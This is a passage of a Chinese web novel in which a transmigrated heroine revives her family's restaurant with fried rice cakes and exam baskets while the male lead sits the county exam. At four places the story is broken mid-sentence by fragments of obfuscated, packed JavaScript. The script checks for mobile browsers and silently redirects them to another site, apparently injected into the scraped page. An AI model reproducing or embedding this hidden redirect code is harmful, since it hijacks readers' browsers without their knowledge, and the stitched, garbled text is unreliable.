叶小宝挥霍惯了，从不余钱，就这五两还是因为到手没来得及花，就被叶父禁了足，于是正好便宜了叶扶秋，加上这五两家里又能多撑一阵子了。 叶父叶母的私房钱她没问，一来不合孝道二来也是因为压根没有多少，至于顾晏苏更不用说，放他出去不饿死都是他自己有本事。 叶扶秋自己嘛，手里也就不到二两，还是留着以备不时之需吧。 收缴完小金库，眼下最能见到成效的就是把店里卫生搞好。除了忙着备考的顾晏苏，全家谁也别想闲着，叶小宝也不例外，养这白眼狼这么久，该是他回报的时候了。 叶扶秋和颜悦色地递给叶小宝一柄拖把：“今时不同往日，不劳动者不得食，咱们饭馆的茅厕就交给你了，去吧。” 叶小宝绿豆大的眼里冒出一丝疑惑，他扔了拖把跳脚道：“我可是读书人，哪能干这种粗活！” 他扯出余氏当大旗：“娘你快管管她！叶扶秋是不是疯了让我扫茅厕，传出去我还怎么读书考功名！她还抢我的钱，娘亲赶紧再给我！” 余氏一见他装可怜就心软，伸手想要拿钱，叶扶秋急忙拦下：“娘，您那点私房够养他多久？‘一屋不扫何以扫天下’，这可是圣人训下，我是姐姐我会害他吗？这都是为了他着想，小宝想拿钱就得干活来换。” 她拿圣人训言唬住余氏，又威胁叶小宝：“原本你该一直在屋里关禁闭，要是不想干活，就再别想拿家里一文钱，还给我回屋里反省去。” “你！” 余氏被叶扶秋以“都是为弟弟好”的名号哄走了，叶小宝只能无能狂怒，被她赶去扫茅厕了。 余氏本还想求求情，但看着叶扶秋身先士卒，拿起抹布专心致志擦桌子的样子，硬是没好意思说出口，只能跟着她上上下下把屋里的桌椅板凳擦得锃亮。 叶小宝还想偷懒逃跑，叶扶秋却像后脑长了眼睛似的，总能第一时间堵住他把他扔回茅厕。 等叶扶秋终于打扫完大堂，就见到叶小宝浑身冒着黑气，灰头土脸地从后院出来，咬牙切齿冲她要钱：“我扫完了，快把钱给我！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092738|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这味儿，噫……”叶扶秋捏着鼻子做嫌弃状，“你掉茅坑里了吗？” “还不是因为你让我扫茅厕！！”叶小宝一摔扫把，“叶扶秋你别给脸不要脸！” “砰。” 不等叶扶秋生气，叶父突然出现给了他脑袋一下：“怎么跟你姐姐说话的，道歉！” “……”叶小宝敢怒不敢言，声音立刻低了三分，“对不起，姐。” 叶扶秋笑眯眯：“哎，让姐姐看看你打扫干净没。” 一番检查，叶扶秋挑了一堆毛病，不是这里有灰，就是那里有水，又让叶小宝返工了七八次，直到把他折腾到彻底没劲，才终于大发慈悲放过他，在他手里丢下五枚铜钱：“拿去吧，寻常小工干一天才十个钱，现在扫个茅厕就给你五文，你可偷着乐去吧。” 这五文钱还是从没收的叶小宝金库里拿的，气得他又是一阵吹胡子瞪眼，但也已经累得没力气再和她吵，只是奋力喷着鼻息、咬牙切齿放出句狠话“你等着！”，然后拖着疲惫不堪的身体回屋歇息去了。 在茅厕臭了一下午，叶小宝感觉自己都被熏入味了。叶扶秋这个贱女人，等他和亲爹……要她好看！ …… 就这样忙活了两天，除了忙着备考的顾宴苏，整个叶家被叶扶秋支使得团团转，但效果也很明显，叶记饭馆现在可谓是焕然一新。 除了干净整洁的大堂，错落有致的布局，叶扶秋还突发奇想给每张桌上都买了盆小小的文竹，淡淡的绿意四处点缀，给平凡的饭馆增添了一抹雅致。 叶记彻底亮堂起来，叶扶秋明显感觉到，站在店外探头探脑的路人多了许多，只可惜叶记招牌砸了太久，真正进来吃饭的客人还是极少。 两天过去，后厨剩下的果蔬肉禽已经消耗殆尽，叶扶秋将采购清单删减大半，耗费一两银子，买了三十斤面粉，两百枚鸡蛋还有五斤猪肉、十斤豆油。 账上剩余九两。 …… 第三天清晨，天刚蒙蒙亮，叶记门口就架起了一座炭炉烧起的油锅，红彤彤的火焰舔着油锅边缘，油面上冒出淡淡白烟。 有路人从门口经过，瞧见油锅有些好奇，等看清旁边叶记的招牌，顿时又失望的离开了。 叶扶秋持着双一尺来长的筷子，从旁边摆的方桌上夹起一块块巴掌大小、方方正正的白色糕团下进油锅，平静的油面一瞬间沸反盈天，大大小小的气泡围着方糕争先迸发，“呲啦”油沸声不绝于耳。 不多时，一阵诱人的油香气就顺着油锅升腾而起，除了油脂的焦香似乎还有糯米的清香，顺着越来越旺的火势霸道的传播出去。 一个、两个、三四个，不知不觉，油锅前已经围了一圈路人。 只见叶扶秋夹着方糕几下翻转，待确认两面炸制金黄，色泽均匀，便立刻将其捞了出来，盛在旁边的竹编小篓里。 随着一块块金黄焦脆的方糕从油锅里捞出，本就浓郁的油香变得更加诱人。 “咕咚。” 有人咽了下口水，终于忍不住问：“这是什么，怎的这样香？” 8. 糍饭糕 “是糍饭糕哦。”叶扶秋眉眼弯弯，“叶记新品，欢迎大家品尝。” “好吃吗？” “那当然啦，”叶扶秋笑得眼睛弯成月牙，“新品上市前三天免费，来，送您一个尝尝。” 那人受宠若惊从她手里接过油纸包的糍饭糕，在众人好奇的目光中有些迫不及待地咬了一口。 “咔哧。” 清脆的声音从他齿间蹦出，他几乎是立刻亮了眼睛：“好吃！” 没等他细说怎么好吃，周遭人一听说免费，立刻争先恐后伸手：“真不要钱？快给我来一个试试。” “好嘞，别急，大家排队一个一个来。” 叶扶秋有条不紊地将糕分发下去，一时之间清脆的咀嚼声不绝于耳，外脆里嫩的糍饭糕立刻征服了所有人的味蕾。 刚出锅的糍饭糕还冒着白烟，一口咬下一块，清脆的声音便在齿间炸响，咀嚼间那焦脆的外壳被破开，内里黏稠绵密的内芯就显露了出来。 这糍饭糕是由糯米和大米混合蒸成的米饭，捏成薄薄的方片后做成的，小火慢炸，火候恰好，才能同时拥有脆硬和柔软这样两种口感，在嘴里形成一种奇妙的感受，美得客人们一口又一口，顾不得滚烫的温度，三两下就吃完一整块糍糕。 “这也忒香了，我还想再来一块。” “你们叶记这新东西不错啊，就是不知道卖得贵不贵？” “是啊，要是太贵我们可吃不起。” 客人们议论纷纷，好吃是好吃，但叶记之前菜品卖得贵，可是出了名的。 叶扶秋神秘兮兮藏着价格不说，一直等到叶记门口围满了被免费试吃吸引来的客人，才终于站在台阶上大声道： “近日我们叶记会有很大变动，从前不合理的菜品和定价都会调整，还请各位拭目以待，一定会不会让大家失望的。” 议论声不绝于耳，众人皆是半信半疑，有人追问：“这糍饭糕究竟作价几何？别又是哄我们的。” 见众人好奇已经到达顶点，叶扶秋才终于揭晓：“糍饭糕不贵，为表诚意，现在只要一文钱一块，这可都是上好的米油炸制出来的！而且前三天到店每人都送一块免费品尝。” 糍饭糕一文钱一块不仅不贵，甚至还略微亏本，须知古代的油是很贵的，油炸要香，就必须多油，仅炸制的豆油成本就不止一文钱一枚了，但叶扶秋如此定价其实是有另一重考量。 即使在现代也有商家搞促销，亏本冲量，叶扶秋现在想做的就是用低廉的价格打开市场，扭转百姓们对叶记的坏印象，只有当他们亲自体验过才能感受到叶记翻天覆地的变化。 听说只要一文钱，客人们欣然接受，纷纷说要再来几块，免费送的这一块可不够吃。 人越来越多，叶扶秋忙得一刻不停，伸手将人往店里引：“客官店里稍坐，菜牌上还有别的东西可点，味道都很不错。” 华夏人讲究一个“来都来了”，有第一个人进了店，人们便像羊群一样涌入了叶记。既到店里坐下，那就断没有光吃糍饭糕的道理，顺理成章便要再点些别的。 因是新做的尝试，可点的菜品并不多，但就朝食来说却也已经足够。 “老板，来碗皮蛋瘦肉粥。” “一份撒汤，再来三块糍糕！” “快着点，饿死了，两块糍饭糕，再要一碗这个什么及第粥。” 如此点单声在叶记不绝于耳，叶扶秋将炸糍糕的工作交给余氏，便进店帮客人点单。她持着一本空白册子，用削好的炭笔一一记下客人要的菜品。 叶扶秋脸上笑得如春风般和煦，说话柔声细语，手上动作却又快又准，一个不漏的将客人需要的菜品记下送入后厨，交给叶父去做——菜品都经她修改过，出品要求严格，绝不是过去所能比拟的。 从辰时一直忙到接近午时，早市打烊，叶记才终于收起油锅关上大门，又挂上“打烊”的门牌。 叶记许久没来过这么多客人了，一家人累得够呛，等点清楚今天的收入，满身疲惫却顿时一扫而空。 仅一个早市，叶记就收入六百余钱，除去本钱还能赚三百文，且这还是在糍饭糕免费品尝的情况下，等促销结束，能赚的便更多了。今日客人们对叶记可是赞不绝口，往后定不愁卖。 全家人都很高兴，只除了叶小宝之外，只因他被叶父压着，被迫在后厨打杂。 看着叶家三人乐呵呵的样子，他终于忍不住冷嘲热讽：“才赚了三百文钱有什么好得意的！竟然还白送，娘，你说哪有她这样做生意的，这不是傻缺么！” 余氏难得没顺着他说话，其实她心里也觉得叶扶秋有些太大方了，明明账上没剩多少余钱，但女儿也是在为家里努力想办法，小宝真是有些不懂事了，她轻斥了一声：“不可以这样说姐姐，姐姐也是为了家里好。” 叶小宝宛如遭到背叛，攥拳锤了两下桌子，才又咬牙切齿说：“那、那顾晏苏那个累赘都不用干活，凭什么我就要干，我也是要读书的！” “人家马上要考县试你又不考。”叶扶秋耸耸肩，鄙夷道。 叶父横了养子一眼，抬手就作势要抽他：“小苏那孩子是客，怎能让他一起干活，之前你做的那些亏心事我还没找你算账，现在还敢拿他做筏子躲懒？” 叶小宝悻悻逃走，跳脚气道：“偏心！你们这是偏心！” 只有你最没资格说爹娘偏心，叶扶秋心中哂笑，眼见着叶父叶母不再偏颇，叶家生意也在渐渐向好，叶小宝和他那赌棍亲爹恐怕要坐不住了。 叶扶秋就等着那一天，只要他们敢跳出来，她就要彻底按死他们！ 叶记改造的第四天，有县衙的胥吏来上门收常例钱，借口叶记生意大好，往常只需五百文，这次却要收一两银子。 叶扶秋本想同他们理论，叶父却拦了下来，叹口气同她解释：“这都是往常的惯例了，给他们吧，少生事端为妙。” 叶扶秋只好照办，加上这两日的收入，账上还剩八两银。 叶记改造的第五天，原材料告罄，多采购了些，账上剩银五两。 叶记改造的第六天，糍饭糕免费活动结束，客流大减，账上剩余四两。 叶记改造的第七天，客流回暖，有人夸叶记物美价廉，收入八百文。但叶扶秋不知为何忽然采购了一批笔墨纸砚耗费许多，账上只剩一两银子，急得叶父叶母愁白了头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092739|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，开始懊悔不该听叶扶秋一个小丫头的话。 叶记改造的第八天，也是县试的第一天，天晴，极寒，叶扶秋折腾起新生意。 …… 寅时，天还黑着，顾晏苏收拾好笔墨，准备出发应试。 他抿着唇，捋平身上洗得泛白的青衣，郑重打开房门。 他无时不刻不在期待这场考试，待他考中便能向叶扶秋讨回他母亲的遗物，便能离开叶家重新回到前世正轨上去。 然而他打开门，见到的不是一片漆黑的院落，却是被一盏油灯照亮的叶记大堂，叶扶秋坐在桌前摆弄着什么东西。 许是因为起的太早，少女只随意盘了个圆髻，不施粉黛的脸上如出水芙蓉般明净，她眼神专注地整理着手下物什，连顾晏苏不知何时走近了都没发现。 “你……”顾晏苏看清她手底下的东西，一个装得满满当当的竹筐，竟像是……考篮？ 这是单给他准备的？顾晏苏沉水般的眸光一凝。 “啊？！”叶扶秋却被他忽然出声吓了一跳，猛然抬起头吓得连拍胸口，翻了个白眼，才没好气道，“走路怎么没声啊你。” “……” 叶扶秋似乎还在生他的气，如此态度倒和重生前如出一辙，顾晏苏波澜不经的心跳动起来，他平静道：“我去考试。” “我知道啊，”叶扶秋一脸我早就知道的样子，“给你的，祝你得中。” 像是怕他拒绝，她恶声恶气补充道：“不许推辞，我可不允许外面有人传叶家无德。” 顿了顿，她又忍不住啰啰嗦嗦介绍起考篮里的东西：“不知道你自己准备的够不够，笔墨纸砚我各放了些；蜡烛和火镰在上面，可小心些用，别把卷子烧了；吃食也备了，有糕点也有筋饼，在最下面一层；啊还有个小手炉也在最下面，天这么冷别着凉了。” “咳，这不是关心你，就是怕你得了风寒回来还传染我。” 少女絮絮叨叨说了半天，才终于回过神将他推出大门：“赶紧去，别误了时辰。” 从夜色漆黑到天光微熹，顾晏苏一直走到辕门外，等见到三三两两聚集在一起、前来应考的童生，喧嚣声传入耳中，他平静的面容方才显露出一丝微不可查的变化。 手里沉甸甸的考篮坠得他心中有一丝酸涩，原以为同前世一般，又要在饥寒交迫中度过县试，他本早习惯了的，却没想到有一天……这是第一次，有人关心他会不会冷、会不会饿，会特地为他准备考篮…… 少女凶狠语气下的关切藏也藏不住，这和前世截然不同的变化让顾晏苏难得有些迟疑，他不确信、不能信、不敢信—— 但…… 他有些麻木地找到同他互为保结的四个童生，到县学外排队等候衙役查验，在熙熙攘攘的人声中，却忽然听到一个熟悉的名字。 “哎你别说，门口这个叶记卖的考篮真不错，笔墨纸砚什么都有，还有点心呢。” “是啊，多亏了叶记，我忘了带墨盒，就从他们小车上买的。” 顾晏苏在人群中敏锐地捕捉到声音来源，那人手里提着的考篮，赫然与叶扶秋给他的一模一样。 顾晏苏：…… 9. 糖醋排骨 顾晏苏还没来得及动作，那提着叶记考篮的年轻考生就已经瞧见了他，眼睛一亮招手喊道：“喂，兄台？” 不等顾晏苏回应，他已经兴致勃勃拉着同伴走过来，指指他手里的考篮：“你这考篮也是门口叶记买的吧，咱们可真有缘。” “……”顾晏苏抿着唇，一时无言，却见那人一副不得回应不罢休的样子，只能轻轻“嗯”了一声以示确认。 年轻人丝毫不在意他的冷淡，自来熟道：“其实我就是来感受一下考场氛围的，本来没指望考中，也忘了准备考篮，谁想到在门口看到那小车幌子上写着‘叶记助考’，过去一看，嘿，东西那叫一个齐全！当即就买了一篮子，才花了二两银子。” 这人穿了一身质感极好的青色襕衫，头戴一根金镶玉发簪，浑身透着富家子弟的气息，言语中却是一脸天真。 顾晏苏神色复杂，犹豫片刻，低声提醒他：“你的簪子太过高调，恐怕遭人怀疑舞弊。” 年轻人下意识摸上头顶，呆呆道：“那怎么办，我也没带别的啊，难道考不了了吗？不行啊，我爹会打断我的腿的！” 顾晏苏默了又默，终于从怀里取出一支木簪递给他：“若你有家人在此，可将发簪取下交还给他，我这里还有支木簪可借你。” 那人顿时大喜：“太感谢你了！在下纪焕之，兄台呢？” “顾晏苏。”他低低道。 纪焕之接过木簪换上，说了声“等我一会”就飞也似的跑出了队伍，等他呼哧呼哧再跑回来，也才过了不到半柱香的时间。 他指指考篮，眉飞色舞道：“我还是第一次见有人在考场门口卖考篮，真会做生意，吃的用的样样俱全。” 他从考篮里翻出一块元宝形状的红色米糕，现宝道：“这叫定胜糕，名字还挺好听的，我看叶记在卖就买了点，分你们一起尝尝。” 顾宴苏谢绝他：“不必了，我有。” 纪焕之却不信，十分没有分寸感的伸手去翻他考篮，顾宴苏皱眉，刚想推开他的手，就听他“咦？”了一声：“你这里的东西跟我不一样，这砚台不是文思阁卖最好的那款吗？我买的可都是叶记车上最贵的，你这是怎么回事，特别款？多少钱？” 顾宴苏瞧着纪焕之翻弄两只考篮里的物件对比，关雎阁的狼毫，文思阁的砚，叶扶秋给他的篮子里放的竟无一不是精品，他心中一时又怔了怔。 “快说说，你怎么买到的？”纪焕之竟莫名攀比起来，非要顾宴苏给他个说法。 “……不是买的，”顾宴苏声音低不可闻，“是……送的。” 纪焕之顿时脑补起来：“哇，送的？顾兄一表人才，叶记那女老板是不是瞧上你了？说来那姑娘美若天仙，还会做生意，顾兄心动否？” “噤声，莫要胡说坏人清白。”顾宴苏倏忽间冷下脸，眼刀凌厉地扫过去，“只是我如今暂住叶家，才会有此考篮。” “啊抱歉抱歉，一时嘴快失礼了。”纪焕之被他一凶，也知道自己话说得不妥，自掌了两下嘴，又忍不住八卦，“这个叶记就是城东那家叶记饭馆开的吧？听说原先都快开倒了，自从他家女儿来帮忙后就大变样了，眼见就要好起来了。” “卖考篮也是她的主意，这小娘子可厉害着呢。”说话间，不知从哪又钻出个考生，笑嘻嘻没个正形，坏笑道，“不过这种成天抛头露面的女人，哪能算良配，要是有心思跟她玩玩也就罢了，娶回家哪行！” 即便是学着圣贤之言的读书人，私下里话题也逃不开男欢女爱，眼见那人言语就要往下三路走，顾晏苏再也无法忍受，他一甩袖子，冷着脸喝道：“尔等到底是来考试，还是来谈风流韵事的？若无心科举，还是趁早回家去罢！” 那人被他骂得面红耳赤，很是不服，声音都大了几分：“说笑罢了，发这么大火做什么，难道你是她姘头？假正经！” “蠢材。” 他被顾晏苏用看死物般冰冷的眼神盯着，一时越想越气，举起拳头就要大闹起来：“你找死吧，骂谁呢！” 然而不等他碰到顾晏苏，一只粗粝的大手突然抓住他衣领，把他拖出了队伍：“考场闹事，你好大的胆子！” 竟是礼房书吏带着两个衙役来巡考，把他抓了个正着，那书吏正愁不知怎么维持秩序，当场便查明那人身份，杀鸡骇猴道：“考生赵良，不遵考纪，咆哮公堂，即刻取消考试资格，三年不得科举！” 赵良面如金纸，难以置信，指着顾晏苏尖叫道：“他也闹了，怎么不罚他？” 书吏皱眉，冷声问顾晏苏：“可有此事？” 顾晏苏镇定自若，向书吏行了礼：“大人明鉴，学生并未闹事。此人行事不端，扰乱考场，多谢大人整治此人。” 他生得一副端方君子的模样，谈吐沉稳令人信服，书吏一见便心生好感，捋着胡子点头道：“无妨，既已说清，即刻将此人驱逐考场！” 说罢再不理那痛哭求饶的赵良，继续巡考去了，而周围考生遭这一出插曲，也被吓成了鹌鹑，老老实实排队不语了。 顾晏苏终于得以安静，肃穆着冷玉般的面庞，顺利通过唱名搜检，进入考场找到自己的考棚。 然而甫一坐下，他就被周遭的臭味熏得眉头紧锁，他恰被分到了臭名昭著的“臭号”。 “臭号”，顾名思义就是临近厕所的号舍，那股恶臭熏得人头昏脑胀，顾晏苏绷着脸努力减缓呼吸，平缓着自己的情绪。 他取出考篮里的笔墨摆好，手却忽然一顿，取出一条散发着薄荷清香的布巾。 似乎是浸过薄荷水，在臭烘烘的号舍里，那块布巾竟显得格外清新，顾晏苏将布巾系到口鼻之间，薄荷清冽的香味便立刻取代了鼻腔里的臭味，头脑顿时为之清明。 手中捧着的暖炉散发出滚烫的温度，驱走了号舍里的彻骨寒意。 他看着自己修长如玉的手指，回想起前世考场里，他被冻得两手生疮，红肿的手指几乎握不住笔，等到坚持着考完，双手已布满冻出的裂纹，被热水一激又麻又痒又痛。 他从不在意，他知道这是天将降大任的磨练，是充满荆棘的必经之路。 但这一次，一切都变了。 在叶扶秋为他准备的这份从容中，他久违地感到一丝不安。 他按捺住指尖的一丝颤抖，终究垂下眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092740|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘，将思绪投注到考卷当中。 寂静的考场里，只有巡查考官来回走动的声音。 从天明到黄昏，直到交了卷走出考场，顾晏苏紧绷的神经才松懈下来，县试的题对他来说当然不难，但尚年幼的身体要坚持考完这一天还是有些勉强。 他体力不支地回到叶记，就见到叶扶秋坐在摇曳的烛光中，举着账册正读…… “回来了？” 叶扶秋挽起耳边垂落的一丝鬓发，冲顾晏苏笑了笑：“我猜你也差不多该考完了，灶上给你留了菜，我给你拿过来。” 说完便毫不在意地将菜端了过来，糖醋排骨、荠菜炒年糕，还有一份清鸡汤，普普通通的家常菜，却似黑夜里的一盏明灯，轻易带走人辛苦一天的疲惫。 看顾晏苏净了手，在桌前默默坐下，叶扶秋心中大定，虽然之前说是再不管他，但至少也别让人跟她翻脸吧，她还记着原著叶家那倒霉剧情呢。 她坦然拿着账本，不再关注他，一心只计较起今天卖考篮的收入，读书人用的东西本就没有便宜的，叶记定价只比市面上高出一成，情急之下自然有许多人愿意购买，而且叶记拿出的东西货真价实，诸位学子对此均是一片赞誉。 今日收入十两银子，除去本钱也还能赚个三两，虽说不多，但也算是解了燃眉之急，况且叶扶秋本质上也并不仅为借此牟利。 想到这，叶扶秋忽然又抬起头，对顾晏苏说：“对了，你——” “你今日给我——” 俩人竟是同时开口，顾晏苏掩下脸上异样，垂眸道：“你先说吧。” 叶扶秋眨眨眼，顺着他话继续说：“那我先说，我就是想问问你觉得叶记卖的考篮怎么样，今天在考场门口卖了不少，你听见有考生讨论叶记了吗？” 岂止是讨论。 顾晏苏低着头看汤碗里自己的倒影，低声回答：“很好……学子们，都说很好。” 桌上的糖醋排骨还是温热的，凑近一闻，浓郁的酱香便钻进人鼻腔，因为放了红糖，排骨便染上诱人的红褐色，油亮油亮，叫人看着就不由自主打开了味蕾。 顾宴苏不自觉咽了下口水，腹中嗡鸣，饥饿感忽然间蔓延，他夹起排骨咬了一口，既有嚼劲又不失软嫩的肉排便迸出甜甜的汁水，咀嚼几下，肉纤维在口中断裂，没有丝毫豚肉的腥气，唇齿间只留有肉汁的油香。 他吃了几筷子排骨，又去夹年糕，切成薄片的年糕柔软而细腻，外皮上沾着切得细碎的荠菜，翠绿而鲜嫩，淡淡的清香萦绕鼻端，咬一口年糕，又软又韧，口感既弹牙又绵密，合着清新的荠菜一起吃下去，仿佛吞进了一整个春天。 顾宴苏捧着滚烫的汤碗，袅袅热气蒸得他面色微微发红，在澄澈鸡汤里，他看见自己眼里的疑问：欺辱他的是她，为他忙前忙后的也是她，在万家灯火中为他独留一盏的，还是她。 叶扶秋听了半天不见他说下文，只是很缓慢、很斯文的吃着饭菜，以为他是考了一天太累，便自觉很体贴地闭了嘴，自己看账册。 等到顾晏苏放下筷子，才终于问他：“别人说好，那你呢？” “你觉得我好吗？” 10. 定胜糕和砂汤 叶扶秋对科举的认知，除了学生时代学到的课本知识，其他细节便都了解自那本科举文“原著”。 故事线伴随着男主顾晏苏的青云路曲折向上，虽然详尽，但也不可能精确到每个细节，譬如考试的时候他冷不冷、饿不饿…… 叶扶秋是想知道从顾晏苏这个科举当事人的角度来看，叶记考篮准备的东西是否合理，他们卖考篮是为了在读书人之间打出书香饭馆的名头，要是做的不好反得罪了他们那就不美了。 然而顾晏苏却并没有立刻回答，神情复杂不知想到哪去了，等叶扶秋又催问了一遍，才缓缓开口：“今日的考篮，算我欠你一次。” 叶扶秋：？ “不是，谁说这个了！”叶扶秋脸上的迷茫几乎凝成实质，可任她再怎么追问，顾晏苏都只低着头不言不语，她只得无奈道，“那我就当你是觉得不错了好吧。” “也不用说欠我，其实该是叶家欠你的。”叶扶秋忽然捏了捏耳垂，有些犹豫却很郑重地向他保证，“以前叶家是对你不好，这我都认，以后绝不会了。” 如果还能有以后的话，她心里补充道。 顾晏苏抬起头，摇曳的烛火在他清俊面庞上投出斑驳的光影，他神色有些晦暗，喉结轻微滚动了一下，用微凉的嗓音缓缓道：“县试前，你说会把母亲的遗物交还与我。” 他黑曜石般的眸子里映着火光，复杂情绪里夹杂着几分期待，目光定定的注视着叶扶秋，让她一下子僵住了。 细密的冷汗从背脊中生出，这段时日成天忙碌，她竟把这事忘得一干二净：“呃，那个，你别急，这不是还没考完，还有覆试没考吧。” 顾晏苏眼里溢出一丝失望，他闭了闭眼，声音恢复平静：“好，我等你到覆试结束。” 他闭着眼，鸦羽般的长睫在眼下投出一片阴影，显出几分拒人于千里之外的冷冽。 叶扶秋悻悻地捏着手指，一边庆幸自己暂且逃过一劫，一边又觉得有柄利剑高悬在头顶，只等到县试放榜就会落到她头上去。 顾宴苏丝毫看不出有被感化的痕迹，看来原著里原主对他的伤害实在太大了，让他确实无法相信自己。 叶扶秋无奈地想，也只能走一步看一步了，至少他今天愿意承自己的情，她想了想道：“先不说谁欠谁，叶记的状况你是知道的，就算你非要离开叶家，希望在走之前你能帮我个小忙。” 又要被他认为是算计了。 哎，反正也拉拢不了，就当最后发挥一下男主的价值吧，叶扶秋苦中作乐的想。 顾宴苏眸光闪了闪，反到像松了口气，一口应下：“好。” 叶扶秋都没想到他竟答应的这么爽快：“你都不问问要你做什么吗？” 顾宴苏淡淡看了她一眼：“无妨。” “那我就自己看着安排了，需要的时候自会找你的。” 叶扶秋没解释，顾宴苏也没追问，像是庆幸终于能甩掉这个包袱。 …… 三日后，县试放榜，顾宴苏理所应当取得了参加覆试的资格，接下来又要连考三天。 叶扶秋也没闲着，一连三天都在考场门口推着小车摆摊。 到最后一场覆试时，叶记名字已经传得人尽皆知，天还没亮，叶扶秋挂起“叶记助考”的幌子，周围立刻有考生围了过来：“老板，今天还有定胜糕卖吗？” “有的有的，”叶扶秋热情介绍，“今天有豆沙、枣泥和花生糖馅的，小相公要哪个？” 竹筐里整整齐齐摆着元宝形状的糕点，略带颗粒感的糕体表面上刻着“定胜”二字，或粉或白，喜庆又吉祥，没有哪个考生会不喜欢。 那学生犹豫不决，叶扶秋便推荐道：“要不然各来三个，要考一天呢，几种味道都不错的。” 她笑容明媚，那人看得晃了眼，脸颊微红：“好，都听老板的。” “好嘞。” 叶扶秋递过糕，收了钱，嘴角漾起两个梨涡，甜甜道：“多谢惠顾，小相公一定高中！” 年轻考生脸便更红了，支支吾吾道了声谢，转身飞也似的逃走了，他身旁的朋友见状连连打趣：“呀，咱们小相公恐怕是动了春心了。” “闭嘴！”朋友还想再说，却被那考生涨红着脸塞了一块定胜糕，“有东西吃都堵不住你的嘴！” 那朋友一边嚼着嘴里的糕，一边含糊不清地哈哈大笑，过了一会儿忽然惊奇道：“哎别说，这糕还挺好吃的，难怪你念念不忘。” 定胜糕是糯米粉和粳米粉混合蒸制而成的，吃起来松软绵密，丰富的内陷点缀其中，又糯又香甜，一点儿也不腻。 这起哄的朋友吃了一块还不够，又伸手去抢年轻考生怀里的，他赶紧捂住怀里的纸袋：“去，想吃自己买去。” “买就买！”那朋友嘿嘿笑着，还真去而复返找叶扶秋买了份糕。 天色既明，县衙文庙外聚集的考生几乎散了干净，叶扶秋也准备收摊了。 正场几乎筛掉了一半考生，接着三场覆试考过来，又筛掉三分之二，能走到最后一场覆试的考生，仅剩十之一二。 这几天叶记小车上卖的东西简单了许多，能考到最后的学子几乎不会再粗心到遗漏东西，叶记卖的多半便是些点心。除却定胜糕还有状元饼、桂花糕、枣糕这些听起来寓意好，好看好吃又耐放的糕点。 还剩下几个没卖完的，叶扶秋取出来，回家一路慢慢吃着，目光散漫地观察着四周。 不知不觉穿书已快半个月，拉拢男主是没指望了，饭馆生意却大有可为。 叶记的小车这些天一直是叶扶秋自己打理的，她清晨出摊，等考生都进了考场，便回叶记做点心，她本就喜欢制作美食，也不觉得有多累。 叶家父母忙完早市，下午也会帮她的忙，而叶小宝被压着在家干杂活，也没再出什么乱子。 若他能一直安分下去，叶扶秋倒也不是不能容忍他留着叶家，只是江山易改本性难移，叶扶秋才不相信他会一直老老实实。 这些天饭馆的朝食生意越来越好，叶父叶母都放下了成见，叶扶秋指哪打哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092741|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一家人竟是前所未有的齐心。 账上现钱也从零变成了二十余两，听起来不多，可要知道普通百姓一年的收入也就仅仅十两，这才只是过去半个月而已！ 叶扶秋回到家的时候，早市还没结束，叶记店里正络绎不绝进出着客人，有认识的熟客和她打招呼：“小叶掌柜回来啦？” “刘奶奶您来啦！今天吃的还合胃口吗？”叶扶秋放下板车，笑眯眯挥了挥手，“今天正好有多的桂花糕，我送您尝尝，松松软软的，正适合您这样的长辈吃。” “哎呀，这怎么好意思。”刘奶奶笑得合不拢嘴，“你家这个砂汤太合我胃口了，真不知道怎么做出来的。” “砂汤啊，您真有眼光，我也最喜欢喝这个了，大冬天早上热热乎乎来一碗，一整天都暖和了！” 旁边食客们听着她们的对话，口水流了一地，忍不住也点了一份，等叶扶秋热情地将餐盘端到面前，闻着碗里浓浓的香味，当场就“哇”了一声：“好香！” “香吧！”叶扶秋眉眼弯弯，神秘道，“这可是我们叶记的招牌秘方，用料十足，既好吃，还能养生呢！” “嚯！” 